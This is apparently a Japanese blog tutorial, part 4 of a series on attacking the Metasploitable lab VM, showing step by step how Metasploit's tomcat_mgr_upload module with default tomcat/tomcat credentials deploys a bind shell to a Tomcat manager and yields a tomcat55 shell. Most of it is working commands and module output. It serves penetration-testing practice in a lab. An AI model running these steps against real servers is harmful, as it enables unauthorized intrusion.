Metasploitable への各種攻撃 その4
tomcatの管理画面にログインでき
管理用アカウントの
ユーザ名
パスワード
がわかると
metasploit のモジュールによるシェル奪取が可能となる
1 | msfconsole |
で msfコンソールを立ち上げ
1 | grep exploit search tomcat |
でペイロードを調べる
今回使用するのは
exploit/multi/http/tomcat_mgr_upload
1 2 | use exploit /multi/http/tomcat_mgr_upload show targets |
でどれを対象にするか表示できる
1 2 3 4 5 6 7 | Exploit targets: Id Name -- ---- 0 Java Universal 1 Windows Universal 2 Linux x86 |
で対象は Metasploitable なので
2 の Linux x86
1 2 | set target 2 set payload linux /x86/shell_bind_tcp |
で対象をセットし
バインドシェルを tomcat にデブロイ
1 2 3 4 | set HttpUsername tomcat set HttpPassword tomcat set rhost 192.168.1.137 set rport 8180 |
で
tomcat の
ユーザ名
パスワード
対象IPアドレス
tomcat で使用しているポート番号
をセット
1 | show options |
で設定を確認
今回の場合だと
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | Module options (exploit /multi/http/tomcat_mgr_upload ): Name Current Setting Required Description ---- --------------- -------- ----------- HttpPassword tomcat no The password for the specified username HttpUsername tomcat no The username to authenticate as Proxies no A proxy chain of format type :host:port[, type :host:port][...] RHOSTS 192.168.1.137 yes The target address range or CIDR identifier RPORT 8180 yes The target port (TCP) SSL false no Negotiate SSL /TLS for outgoing connections TARGETURI /manager yes The URI path of the manager app ( /html/upload and /undeploy will be used) VHOST no HTTP server virtual host Payload options (linux /x86/shell_bind_tcp ): Name Current Setting Required Description ---- --------------- -------- ----------- LPORT 4444 yes The listen port RHOST 192.168.1.137 no The target address Exploit target: Id Name -- ---- 2 Linux x86 |
あとは
1 | exploit |
で実行
これで whoami コマンドを使うと
tomcat55 権限でシェル操作できる
whoami コマンドは
ユーザ名の表示コマンド
詳しくは
【 whoami 】コマンド/【 groups 】コマンド――自分の名前と所属するグループを表示する
を参考に